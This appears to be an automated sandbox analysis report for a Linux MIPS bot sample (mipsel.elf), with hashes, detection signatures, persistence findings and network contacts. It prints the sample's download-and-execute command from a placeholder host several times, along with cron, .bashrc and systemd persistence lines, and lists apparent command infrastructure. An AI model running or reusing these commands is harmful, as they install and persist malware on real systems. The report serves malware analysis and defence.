Linux Analysis Report
mipsel.elf

Overview

General Information

Sample name: mipsel.elf
Analysis ID: 1558939
MD5: bdf20281cdc4d40edabf85e3edc4e6d8
SHA1: 3305c71c940aab3a0e255cf3a09e3e481a0bf865
SHA256: 164676646c90c920424563898710ffffd50cedac7b1b4d588b52527112e7c2c8
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 68
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Executes the "crontab" command typically for achieving persistence
Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions
Sample tries to persist itself using cron
Creates hidden files and/or directories
Detected non-DNS traffic on DNS port
Executes commands using a shell command-line interpreter
Executes the "chmod" command used to modify permissions
Executes the "systemctl" command used for controlling the systemd system and service manager
Found strings indicative of a multi-platform dropper
Reads the 'hosts' file potentially containing internal network hosts
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Antivirus / Scanner detection for submitted sample
Source: mipsel.elf Avira: detected
Multi AV Scanner detection for submitted file
Source: mipsel.elf ReversingLabs: Detection: 34%
Found strings indicative of a multi-platform dropper
Source: mipsel.elf String: /proc//exe/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/statr /root/mnt/dev/cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogmipsel->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd@
Source: mipsel.elf String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: mipsel.elf String: j2go/proc/net/tcp5.188.230.23137.18.73.94167.235.128.15168.191.23.13445.195.74.233141.94.21.7118.220.154.2118.210.151.8537.187.153.12745.195.74.1970123456789ABCDEF(crontab -l ; echo "@reboot %s") | crontab -/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"%s/.bashrca
Source: .bashrc.13.dr String: /bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Source: bot.service.13.dr String: ExecStart=/bin/bash -c "/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh"
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.15:55762 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.15:55760 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.15:55752 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.15:55758 -> 8.8.8.8:53
Source: global traffic TCP traffic: 192.168.2.15:55756 -> 8.8.8.8:53
Reads the 'hosts' file potentially containing internal network hosts
Source: /bin/curl (PID: 5547) Reads hosts file: /etc/hosts Jump to behavior
Sample listens on a socket
Source: /tmp/mipsel.elf (PID: 5528) Socket: 127.0.0.1:4161 Jump to behavior
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global traffic DNS traffic detected: DNS query: host.zopz-api.com
Source: global traffic DNS traffic detected: DNS query: motd.ubuntu.com
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: tmp.kyAZ7l.23.dr String found in binary or memory: http://serverip/bins/bins.sh
Source: bot.service.13.dr String found in binary or memory: http://serverip/bins/bins.sh;
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /proc//exe/proc/%d/cwd/var/tmp/proc/%d/fd.../proc/%d/fd/%s/proc/proc/%d/statr /root/mnt/dev/cmdline/wget/tftp/curl/reboot/libbin//dev/watchdog/dev/misc/watchdogmipsel->unknown%d/bin/busybox/bin/sh/var/Sofiatelnetd@
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal68.troj.linELF@0/4@31/0

Persistence and Installation Behavior
barindex
Executes the "crontab" command typically for achieving persistence
Source: /bin/sh (PID: 5544) Crontab executable: /usr/bin/crontab -> crontab -l Jump to behavior
Source: /bin/sh (PID: 5543) Crontab executable: /usr/bin/crontab -> crontab - Jump to behavior
Modifies the '.bashrc' or '.bash_profile' file typically for persisting actions
Source: /tmp/mipsel.elf (PID: 5530) File written: /root/.bashrc Jump to behavior
Sample tries to persist itself using cron
Source: /usr/bin/crontab (PID: 5543) File: /var/spool/cron/crontabs/tmp.kyAZ7l Jump to behavior
Source: /usr/bin/crontab (PID: 5543) File: /var/spool/cron/crontabs/root Jump to behavior
Creates hidden files and/or directories
Source: /tmp/mipsel.elf (PID: 5530) File: /root/.bashrc Jump to behavior
Source: /bin/curl (PID: 5547) Directory: /root/.curlrc Jump to behavior
Executes commands using a shell command-line interpreter
Source: /tmp/mipsel.elf (PID: 5540) Shell command executed: sh -c "(crontab -l ; echo \"@reboot /bin/bash -c \"/bin/wget http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh; /bin/curl -k -L --output bins.sh http://serverip/bins/bins.sh; chmod +x bins.sh; sh bins.sh\"\") | crontab -" Jump to behavior
Source: /tmp/mipsel.elf (PID: 5551) Shell command executed: sh -c "/bin/systemctl enable bot" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 5545) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Source: /bin/sh (PID: 5550) Chmod executable: /usr/bin/chmod -> chmod +x bins.sh Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 5557) Systemctl executable: /bin/systemctl -> /bin/systemctl enable bot Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/mipsel.elf (PID: 5528) Queries kernel information via 'uname': Jump to behavior
Source: /bin/curl (PID: 5547) Queries kernel information via 'uname': Jump to behavior
Source: mipsel.elf, 5528.1.0000558fa359e000.0000558fa3646000.rw-.sdmp, mipsel.elf, 5530.1.0000558fa359e000.0000558fa3646000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/mipsel
Source: mipsel.elf, 5528.1.00007ffcda39d000.00007ffcda3be000.rw-.sdmp, mipsel.elf, 5530.1.00007ffcda39d000.00007ffcda3be000.rw-.sdmp Binary or memory string: Yx86_64/usr/bin/qemu-mipsel/tmp/mipsel.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/mipsel.elf
Source: mipsel.elf, 5528.1.0000558fa359e000.0000558fa3646000.rw-.sdmp, mipsel.elf, 5530.1.0000558fa359e000.0000558fa3646000.rw-.sdmp Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: mipsel.elf, 5528.1.00007ffcda39d000.00007ffcda3be000.rw-.sdmp, mipsel.elf, 5530.1.00007ffcda39d000.00007ffcda3be000.rw-.sdmp Binary or memory string: /usr/bin/qemu-mipsel
Source: mipsel.elf, 5530.1.00007ffcda39d000.00007ffcda3be000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
172.111.38.48
 host.zopz-api.com Reserved
54540 INCERO-HVVCUS false

Contacted Domains

Name IP Active
host.zopz-api.com 172.111.38.48 true
daisy.ubuntu.com unknown unknown
motd.ubuntu.com unknown unknown